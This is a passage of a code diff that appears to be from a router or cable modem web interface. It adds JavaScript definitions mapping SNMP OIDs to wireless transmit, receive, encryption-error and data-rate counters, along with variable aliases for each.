+AdvanceWirelessStats.RadioDisablesCount= new Scalar("RadioDisablesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.20",2); +AdvanceWirelessStats.BPHYGlitchCount= new Scalar("BPHYGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.21",2); +AdvanceWirelessStats.SGITransmitCount= new Scalar("SGITransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.22",2); +AdvanceWirelessStats.SGIReceiveCount= new Scalar("SGIReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.23",2); +AdvanceWirelessStats.STBCTransmitCount= new Scalar("STBCTransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.24",2); +AdvanceWirelessStats.STBCReceiveCount= new Scalar("STBCReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.25",2); +var arResetCount=AdvanceWirelessStats.ResetCount; +var arTBTTCount=AdvanceWirelessStats.TBTTCount; +var arPMQOverflowCount=AdvanceWirelessStats.PMQOverflowCount; +var arPRTimeoutDropCount=AdvanceWirelessStats.PRTimeoutDropCount; +var arPSMWatchdogCount=AdvanceWirelessStats.PSMWatchdogCount; +var arPHYWatchdogCount=AdvanceWirelessStats.PHYWatchdogCount; +var arPRQEntriesHandled=AdvanceWirelessStats.PRQEntriesHandled; +var arPRQUndirectedEntriesHandled=AdvanceWirelessStats.PRQUndirectedEntriesHandled; +var arPRQBadEntriesHandled=AdvanceWirelessStats.PRQBadEntriesHandled; +var arATIMSuppressCount=AdvanceWirelessStats.ATIMSuppressCount; +var arBCNTemplateNotReadyCount=AdvanceWirelessStats.BCNTemplateNotReadyCount; +var arBCNTemplateNotReadyDoneCount=AdvanceWirelessStats.BCNTemplateNotReadyDoneCount; +var arLateTBTTDPCCount=AdvanceWirelessStats.LateTBTTDPCCount; +var arPktEngineUnicastRxFramesCount=AdvanceWirelessStats.PktEngineUnicastRxFramesCount; +var arPktEngineMulticastRxFramesCount=AdvanceWirelessStats.PktEngineMulticastRxFramesCount; +var arRadioDisablesCount=AdvanceWirelessStats.RadioDisablesCount; +var arBPHYGlitchCount=AdvanceWirelessStats.BPHYGlitchCount; +var arSGITransmitCount=AdvanceWirelessStats.SGITransmitCount; +var arSGIReceiveCount=AdvanceWirelessStats.SGIReceiveCount; +var arSTBCTransmitCount=AdvanceWirelessStats.STBCTransmitCount; +var arSTBCReceiveCount=AdvanceWirelessStats.STBCReceiveCount; + +var AdvanceWirelessStatsXmit = new Container("AdvanceWirelessStatsXmit", "1.3.6.1.4.1.4115.1.20.1.1.3.46.1"); +AdvanceWirelessStatsXmit.TxFrameCount= new Scalar("TxFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.1",2); +AdvanceWirelessStatsXmit.TxBytesCount= new Scalar("TxBytesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.2",2); +AdvanceWirelessStatsXmit.TxRetransmitCount= new Scalar("TxRetransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.3",2); +AdvanceWirelessStatsXmit.TxErrorCount= new Scalar("TxErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.4",2); +AdvanceWirelessStatsXmit.TxMgmtFrames= new Scalar("TxMgmtFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.5",2); +AdvanceWirelessStatsXmit.TxShortPreambleFrames= new Scalar("TxShortPreambleFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.6",2); +AdvanceWirelessStatsXmit.TxStatusErrors= new Scalar("TxStatusErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.7",2); +AdvanceWirelessStatsXmit.TxOutOfBufsErrors= new Scalar("TxOutOfBufsErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.8",2); +AdvanceWirelessStatsXmit.TxNoAssocErrors= new Scalar("TxNoAssocErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.9",2); +AdvanceWirelessStatsXmit.TxRuntCount= new Scalar("TxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.10",2); +AdvanceWirelessStatsXmit.TxHeaderCacheHit= new Scalar("TxHeaderCacheHit","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.11",2); +AdvanceWirelessStatsXmit.TxHeaderCacheMiss= new Scalar("TxHeaderCacheMiss","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.12",2); +AdvanceWirelessStatsXmit.TxFIFOUnderflows= new Scalar("TxFIFOUnderflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.13",2); +AdvanceWirelessStatsXmit.TxPhyErrors= new Scalar("TxPhyErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.14",2); +AdvanceWirelessStatsXmit.TxPhyCRS= new Scalar("TxPhyCRS","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.15",2); +AdvanceWirelessStatsXmit.TxAllFrameCount= new Scalar("TxAllFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.16",2); +AdvanceWirelessStatsXmit.TxDMAWarCount= new Scalar("TxDMAWarCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.17",2); +AdvanceWirelessStatsXmit.TxRTSFrameCount= new Scalar("TxRTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.18",2); +AdvanceWirelessStatsXmit.TxCTSFrameCount= new Scalar("TxCTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.19",2); +AdvanceWirelessStatsXmit.TxAckFrameCount= new Scalar("TxAckFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.20",2); +AdvanceWirelessStatsXmit.TxDNLFrameCount= new Scalar("TxDNLFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.21",2); +AdvanceWirelessStatsXmit.TxBeaconFrameCount= new Scalar("TxBeaconFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.22",2); +AdvanceWirelessStatsXmit.TxUnderflowCount= new Scalar("TxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.23",4,1); +AdvanceWirelessStatsXmit.TxTemplateUnderflowCount= new Scalar("TxTemplateUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.24",2); +AdvanceWirelessStatsXmit.TxBeaconsCanceledCount= new Scalar("TxBeaconsCanceledCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.25",2); +AdvanceWirelessStatsXmit.TxFIFOOverflows= new Scalar("TxFIFOOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.26",2); +AdvanceWirelessStatsXmit.TxPRFailures= new Scalar("TxPRFailures","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.27",2); +AdvanceWirelessStatsXmit.TxPRSuccess= new Scalar("TxPRSuccess","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.28",2); +AdvanceWirelessStatsXmit.TxAfterburnerNACKCount= new Scalar("TxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.29",2); +AdvanceWirelessStatsXmit.TxFragmentCount= new Scalar("TxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.30",2); +AdvanceWirelessStatsXmit.TxMulticastCount= new Scalar("TxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.31",2); +AdvanceWirelessStatsXmit.TxFailureCount= new Scalar("TxFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.32",2); +AdvanceWirelessStatsXmit.TxRetryCount= new Scalar("TxRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.33",2); +AdvanceWirelessStatsXmit.TxMultipleRetryCount= new Scalar("TxMultipleRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.34",2); +AdvanceWirelessStatsXmit.TxRTSSuccessCount= new Scalar("TxRTSSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.35",2); +AdvanceWirelessStatsXmit.TxRTSFailCount= new Scalar("TxRTSFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.36",2); +AdvanceWirelessStatsXmit.TxAckFailCount= new Scalar("TxAckFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.37",2); +AdvanceWirelessStatsXmit.TxFrameCountDot11= new Scalar("TxFrameCountDot11","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.38",2); +AdvanceWirelessStatsXmit.TxChannelRejectFrameCount= new Scalar("TxChannelRejectFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.39",2); +AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount= new Scalar("TxTimerExpirationFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.40",2); +AdvanceWirelessStatsXmit.TxGlitchNACKCount= new Scalar("TxGlitchNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.41",2); +var arTxFrameCount=AdvanceWirelessStatsXmit.TxFrameCount; +var arTxBytesCount=AdvanceWirelessStatsXmit.TxBytesCount; +var arTxRetransmitCount=AdvanceWirelessStatsXmit.TxRetransmitCount; +var arTxErrorCount=AdvanceWirelessStatsXmit.TxErrorCount; +var arTxMgmtFrames=AdvanceWirelessStatsXmit.TxMgmtFrames; +var arTxShortPreambleFrames=AdvanceWirelessStatsXmit.TxShortPreambleFrames; +var arTxStatusErrors=AdvanceWirelessStatsXmit.TxStatusErrors; +var arTxOutOfBufsErrors=AdvanceWirelessStatsXmit.TxOutOfBufsErrors; +var arTxNoAssocErrors=AdvanceWirelessStatsXmit.TxNoAssocErrors; +var arTxRuntCount=AdvanceWirelessStatsXmit.TxRuntCount; +var arTxHeaderCacheHit=AdvanceWirelessStatsXmit.TxHeaderCacheHit; +var arTxHeaderCacheMiss=AdvanceWirelessStatsXmit.TxHeaderCacheMiss; +var arTxFIFOUnderflows=AdvanceWirelessStatsXmit.TxFIFOUnderflows; +var arTxPhyErrors=AdvanceWirelessStatsXmit.TxPhyErrors; +var arTxPhyCRS=AdvanceWirelessStatsXmit.TxPhyCRS; +var arTxAllFrameCount=AdvanceWirelessStatsXmit.TxAllFrameCount; +var arTxDMAWarCount=AdvanceWirelessStatsXmit.TxDMAWarCount; +var arTxRTSFrameCount=AdvanceWirelessStatsXmit.TxRTSFrameCount; +var arTxCTSFrameCount=AdvanceWirelessStatsXmit.TxCTSFrameCount; +var arTxAckFrameCount=AdvanceWirelessStatsXmit.TxAckFrameCount; +var arTxDNLFrameCount=AdvanceWirelessStatsXmit.TxDNLFrameCount; +var arTxBeaconFrameCount=AdvanceWirelessStatsXmit.TxBeaconFrameCount; +var arTxUnderflowCount=AdvanceWirelessStatsXmit.TxUnderflowCount; +var arTxTemplateUnderflowCount=AdvanceWirelessStatsXmit.TxTemplateUnderflowCount; +var arTxBeaconsCanceledCount=AdvanceWirelessStatsXmit.TxBeaconsCanceledCount; +var arTxFIFOOverflows=AdvanceWirelessStatsXmit.TxFIFOOverflows; +var arTxPRFailures=AdvanceWirelessStatsXmit.TxPRFailures; +var arTxPRSuccess=AdvanceWirelessStatsXmit.TxPRSuccess; +var arTxAfterburnerNACKCount=AdvanceWirelessStatsXmit.TxAfterburnerNACKCount; +var arTxFragmentCount=AdvanceWirelessStatsXmit.TxFragmentCount; +var arTxMulticastCount=AdvanceWirelessStatsXmit.TxMulticastCount; +var arTxFailureCount=AdvanceWirelessStatsXmit.TxFailureCount; +var arTxRetryCount=AdvanceWirelessStatsXmit.TxRetryCount; +var arTxMultipleRetryCount=AdvanceWirelessStatsXmit.TxMultipleRetryCount; +var arTxRTSSuccessCount=AdvanceWirelessStatsXmit.TxRTSSuccessCount; +var arTxRTSFailCount=AdvanceWirelessStatsXmit.TxRTSFailCount; +var arTxAckFailCount=AdvanceWirelessStatsXmit.TxAckFailCount; +var arTxFrameCountDot11=AdvanceWirelessStatsXmit.TxFrameCountDot11; +var arTxChannelRejectFrameCount=AdvanceWirelessStatsXmit.TxChannelRejectFrameCount; +var arTxTimerExpirationFrameCount=AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount; +var arTxGlitchNACKCount=AdvanceWirelessStatsXmit.TxGlitchNACKCount; + +var AdvanceWirelessStatsRecv = new Container("AdvanceWirelessStatsRecv", "1.3.6.1.4.1.4115.1.20.1.1.3.46.2"); +AdvanceWirelessStatsRecv.RxFrame= new Scalar("RxFrame","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.1",2); +AdvanceWirelessStatsRecv.RxBytes= new Scalar("RxBytes","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.2",2); +AdvanceWirelessStatsRecv.RxError= new Scalar("RxError","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.3",2); +AdvanceWirelessStatsRecv.RxCtl= new Scalar("RxCtl","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.4",2); +AdvanceWirelessStatsRecv.RxNoBufs= new Scalar("RxNoBufs","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.5",2); +AdvanceWirelessStatsRecv.RxNonDataErrors= new Scalar("RxNonDataErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.6",2); +AdvanceWirelessStatsRecv.RxBadDSErrors= new Scalar("RxBadDSErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.7",2); +AdvanceWirelessStatsRecv.RxBadCMErrors= new Scalar("RxBadCMErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.8",2); +AdvanceWirelessStatsRecv.RxFragErrors= new Scalar("RxFragErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.9",2); +AdvanceWirelessStatsRecv.RxRuntCount= new Scalar("RxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.10",2); +AdvanceWirelessStatsRecv.RxGiantCount= new Scalar("RxGiantCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.11",2); +AdvanceWirelessStatsRecv.RxNoSCBErrorCount= new Scalar("RxNoSCBErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.12",2); +AdvanceWirelessStatsRecv.RxBadProtoErrorCount= new Scalar("RxBadProtoErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.13",2); +AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount= new Scalar("RxBadSrcMACErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.14",2); +AdvanceWirelessStatsRecv.RxBadDAErrorCount= new Scalar("RxBadDAErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.15",2); +AdvanceWirelessStatsRecv.RxFilterCount= new Scalar("RxFilterCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.16",2); +AdvanceWirelessStatsRecv.RxUnderflowCount= new Scalar("RxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.17",4,1); +AdvanceWirelessStatsRecv.RxFrameTooLongCount= new Scalar("RxFrameTooLongCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.18",2); +AdvanceWirelessStatsRecv.RxFrameTooShortCount= new Scalar("RxFrameTooShortCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.19",2); +AdvanceWirelessStatsRecv.RxBadHeaderCount= new Scalar("RxBadHeaderCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.20",2); +AdvanceWirelessStatsRecv.RxBadFCSCount= new Scalar("RxBadFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.21",2); +AdvanceWirelessStatsRecv.RxBadPLCPCount= new Scalar("RxBadPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.22",2); +AdvanceWirelessStatsRecv.RxRSGlitchCount= new Scalar("RxRSGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.23",2); +AdvanceWirelessStatsRecv.RxGoodPLCPCount= new Scalar("RxGoodPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.24",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSCount= new Scalar("RxDataGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.25",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount= new Scalar("RxMgmtGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.26",2); +AdvanceWirelessStatsRecv.RxControlGoodFCSCount= new Scalar("RxControlGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.27",2); +AdvanceWirelessStatsRecv.RxRTSGoodFCSCount= new Scalar("RxRTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.28",2); +AdvanceWirelessStatsRecv.RxCTSGoodFCSCount= new Scalar("RxCTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.29",2); +AdvanceWirelessStatsRecv.RxAcksGoodFCSCount= new Scalar("RxAcksGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.30",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount= new Scalar("RxDataGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.31",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount= new Scalar("RxMgmtGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.32",2); +AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount= new Scalar("RxCTRLGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.33",2); +AdvanceWirelessStatsRecv.RxRTSNoMACCount= new Scalar("RxRTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.34",2); +AdvanceWirelessStatsRecv.RxCTSNoMACCount= new Scalar("RxCTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.35",2); +AdvanceWirelessStatsRecv.RxMulticastDataCount= new Scalar("RxMulticastDataCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.36",2); +AdvanceWirelessStatsRecv.RxMulticastMgmtCount= new Scalar("RxMulticastMgmtCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.37",2); +AdvanceWirelessStatsRecv.RxMulticastCtlCount= new Scalar("RxMulticastCtlCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.38",2); +AdvanceWirelessStatsRecv.RxMemberBeaconCount= new Scalar("RxMemberBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.39",2); +AdvanceWirelessStatsRecv.RxWDSFrameCount= new Scalar("RxWDSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.40",2); +AdvanceWirelessStatsRecv.RxOtherBeaconCount= new Scalar("RxOtherBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.41",2); +AdvanceWirelessStatsRecv.RxTimeoutsCount= new Scalar("RxTimeoutsCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.42",2); +AdvanceWirelessStatsRecv.RxFiFoZeroOverflows= new Scalar("RxFiFoZeroOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.43",2); +AdvanceWirelessStatsRecv.RxFiFoOneOverflows= new Scalar("RxFiFoOneOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.44",2); +AdvanceWirelessStatsRecv.RxFiFoTwoOverflows= new Scalar("RxFiFoTwoOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.45",2); +AdvanceWirelessStatsRecv.RxPRQFIFOCount= new Scalar("RxPRQFIFOCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.46",2); +AdvanceWirelessStatsRecv.RxPRQOverflowCount= new Scalar("RxPRQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.47",2); +AdvanceWirelessStatsRecv.RxAfterburnerNACKCount= new Scalar("RxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.48",2); +AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount= new Scalar("RxAfterburnerConsumedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.49",2); +AdvanceWirelessStatsRecv.RxFrameDuplicateCount= new Scalar("RxFrameDuplicateCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.50",2); +AdvanceWirelessStatsRecv.RxFragmentCount= new Scalar("RxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.51",2); +AdvanceWirelessStatsRecv.RxMulticastCount= new Scalar("RxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.52",2); +AdvanceWirelessStatsRecv.RxFCSErrorCount= new Scalar("RxFCSErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.53",2); +var arRxFrame=AdvanceWirelessStatsRecv.RxFrame; +var arRxBytes=AdvanceWirelessStatsRecv.RxBytes; +var arRxError=AdvanceWirelessStatsRecv.RxError; +var arRxCtl=AdvanceWirelessStatsRecv.RxCtl; +var arRxNoBufs=AdvanceWirelessStatsRecv.RxNoBufs; +var arRxNonDataErrors=AdvanceWirelessStatsRecv.RxNonDataErrors; +var arRxBadDSErrors=AdvanceWirelessStatsRecv.RxBadDSErrors; +var arRxBadCMErrors=AdvanceWirelessStatsRecv.RxBadCMErrors; +var arRxFragErrors=AdvanceWirelessStatsRecv.RxFragErrors; +var arRxRuntCount=AdvanceWirelessStatsRecv.RxRuntCount; +var arRxGiantCount=AdvanceWirelessStatsRecv.RxGiantCount; +var arRxNoSCBErrorCount=AdvanceWirelessStatsRecv.RxNoSCBErrorCount; +var arRxBadProtoErrorCount=AdvanceWirelessStatsRecv.RxBadProtoErrorCount; +var arRxBadSrcMACErrorCount=AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount; +var arRxBadDAErrorCount=AdvanceWirelessStatsRecv.RxBadDAErrorCount; +var arRxFilterCount=AdvanceWirelessStatsRecv.RxFilterCount; +var arRxUnderflowCount=AdvanceWirelessStatsRecv.RxUnderflowCount; +var arRxFrameTooLongCount=AdvanceWirelessStatsRecv.RxFrameTooLongCount; +var arRxFrameTooShortCount=AdvanceWirelessStatsRecv.RxFrameTooShortCount; +var arRxBadHeaderCount=AdvanceWirelessStatsRecv.RxBadHeaderCount; +var arRxBadFCSCount=AdvanceWirelessStatsRecv.RxBadFCSCount; +var arRxBadPLCPCount=AdvanceWirelessStatsRecv.RxBadPLCPCount; +var arRxRSGlitchCount=AdvanceWirelessStatsRecv.RxRSGlitchCount; +var arRxGoodPLCPCount=AdvanceWirelessStatsRecv.RxGoodPLCPCount; +var arRxDataGoodFCSCount=AdvanceWirelessStatsRecv.RxDataGoodFCSCount; +var arRxMgmtGoodFCSCount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount; +var arRxControlGoodFCSCount=AdvanceWirelessStatsRecv.RxControlGoodFCSCount; +var arRxRTSGoodFCSCount=AdvanceWirelessStatsRecv.RxRTSGoodFCSCount; +var arRxCTSGoodFCSCount=AdvanceWirelessStatsRecv.RxCTSGoodFCSCount; +var arRxAcksGoodFCSCount=AdvanceWirelessStatsRecv.RxAcksGoodFCSCount; +var arRxDataGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount; +var arRxMgmtGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount; +var arRxCTRLGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount; +var arRxRTSNoMACCount=AdvanceWirelessStatsRecv.RxRTSNoMACCount; +var arRxCTSNoMACCount=AdvanceWirelessStatsRecv.RxCTSNoMACCount; +var arRxMulticastDataCount=AdvanceWirelessStatsRecv.RxMulticastDataCount; +var arRxMulticastMgmtCount=AdvanceWirelessStatsRecv.RxMulticastMgmtCount; +var arRxMulticastCtlCount=AdvanceWirelessStatsRecv.RxMulticastCtlCount; +var arRxMemberBeaconCount=AdvanceWirelessStatsRecv.RxMemberBeaconCount; +var arRxWDSFrameCount=AdvanceWirelessStatsRecv.RxWDSFrameCount; +var arRxOtherBeaconCount=AdvanceWirelessStatsRecv.RxOtherBeaconCount; +var arRxTimeoutsCount=AdvanceWirelessStatsRecv.RxTimeoutsCount; +var arRxFiFoZeroOverflows=AdvanceWirelessStatsRecv.RxFiFoZeroOverflows; +var arRxFiFoOneOverflows=AdvanceWirelessStatsRecv.RxFiFoOneOverflows; +var arRxFiFoTwoOverflows=AdvanceWirelessStatsRecv.RxFiFoTwoOverflows; +var arRxPRQFIFOCount=AdvanceWirelessStatsRecv.RxPRQFIFOCount; +var arRxPRQOverflowCount=AdvanceWirelessStatsRecv.RxPRQOverflowCount; +var arRxAfterburnerNACKCount=AdvanceWirelessStatsRecv.RxAfterburnerNACKCount; +var arRxAfterburnerConsumedCount=AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount; +var arRxFrameDuplicateCount=AdvanceWirelessStatsRecv.RxFrameDuplicateCount; +var arRxFragmentCount=AdvanceWirelessStatsRecv.RxFragmentCount; +var arRxMulticastCount=AdvanceWirelessStatsRecv.RxMulticastCount; +var arRxFCSErrorCount=AdvanceWirelessStatsRecv.RxFCSErrorCount; + +var AdvanceWirelessStatsEncrypt = new Container("AdvanceWirelessStatsEncrypt", "1.3.6.1.4.1.4115.1.20.1.1.3.46.3"); +AdvanceWirelessStatsEncrypt.WEPUndecryptableCount= new Scalar("WEPUndecryptableCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.1",2); +AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount= new Scalar("TKIPLocalMICFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.2",2); +AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked= new Scalar("TKIPCounterMeasuresInvoked","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.3",2); +AdvanceWirelessStatsEncrypt.TKIPReplayCount= new Scalar("TKIPReplayCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.4",2); +AdvanceWirelessStatsEncrypt.AESFormatErrorCount= new Scalar("AESFormatErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.5",2); +AdvanceWirelessStatsEncrypt.AESReplaysCount= new Scalar("AESReplaysCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.6",2); +AdvanceWirelessStatsEncrypt.AESDecryptErrorCount= new Scalar("AESDecryptErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.7",2); +AdvanceWirelessStatsEncrypt.FourWayHandshakeFails= new Scalar("FourWayHandshakeFails","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.8",2); +AdvanceWirelessStatsEncrypt.WEPPICVErrorCount= new Scalar("WEPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.9",2); +AdvanceWirelessStatsEncrypt.DecryptSuccessCount= new Scalar("DecryptSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.10",2); +AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount= new Scalar("TKIPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.11",2); +AdvanceWirelessStatsEncrypt.WEPExcludedCount= new Scalar("WEPExcludedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.12",2); +var arWEPUndecryptableCount=AdvanceWirelessStatsEncrypt.WEPUndecryptableCount; +var arTKIPLocalMICFailureCount=AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount; +var arTKIPCounterMeasuresInvoked=AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked; +var arTKIPReplayCount=AdvanceWirelessStatsEncrypt.TKIPReplayCount; +var arAESFormatErrorCount=AdvanceWirelessStatsEncrypt.AESFormatErrorCount; +var arAESReplaysCount=AdvanceWirelessStatsEncrypt.AESReplaysCount; +var arAESDecryptErrorCount=AdvanceWirelessStatsEncrypt.AESDecryptErrorCount; +var arFourWayHandshakeFails=AdvanceWirelessStatsEncrypt.FourWayHandshakeFails; +var arWEPPICVErrorCount=AdvanceWirelessStatsEncrypt.WEPPICVErrorCount; +var arDecryptSuccessCount=AdvanceWirelessStatsEncrypt.DecryptSuccessCount; +var arTKIPPICVErrorCount=AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount; +var arWEPExcludedCount=AdvanceWirelessStatsEncrypt.WEPExcludedCount; + +var AdvanceWirelessStatsRateStats = new Container("AdvanceWirelessStatsRateStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46.4"); +AdvanceWirelessStatsRateStats.PacketsRcv1Mbps= new Scalar("PacketsRcv1Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.1",2); +AdvanceWirelessStatsRateStats.PacketsRcv2Mbps= new Scalar("PacketsRcv2Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.2",2); +AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps= new Scalar("PacketsRcv5HalfMbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.3",2); +AdvanceWirelessStatsRateStats.PacketsRcv6Mbps= new Scalar("PacketsRcv6Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.4",2); +AdvanceWirelessStatsRateStats.PacketsRcv9Mbps= new Scalar("PacketsRcv9Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.5",2); +AdvanceWirelessStatsRateStats.PacketsRcv11Mbps= new Scalar("PacketsRcv11Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.6",2); +AdvanceWirelessStatsRateStats.PacketsRcv12Mbps= new Scalar("PacketsRcv12Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.7",2); +AdvanceWirelessStatsRateStats.PacketsRcv18Mbps= new Scalar("PacketsRcv18Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.8",2); +AdvanceWirelessStatsRateStats.PacketsRcv24Mbps= new 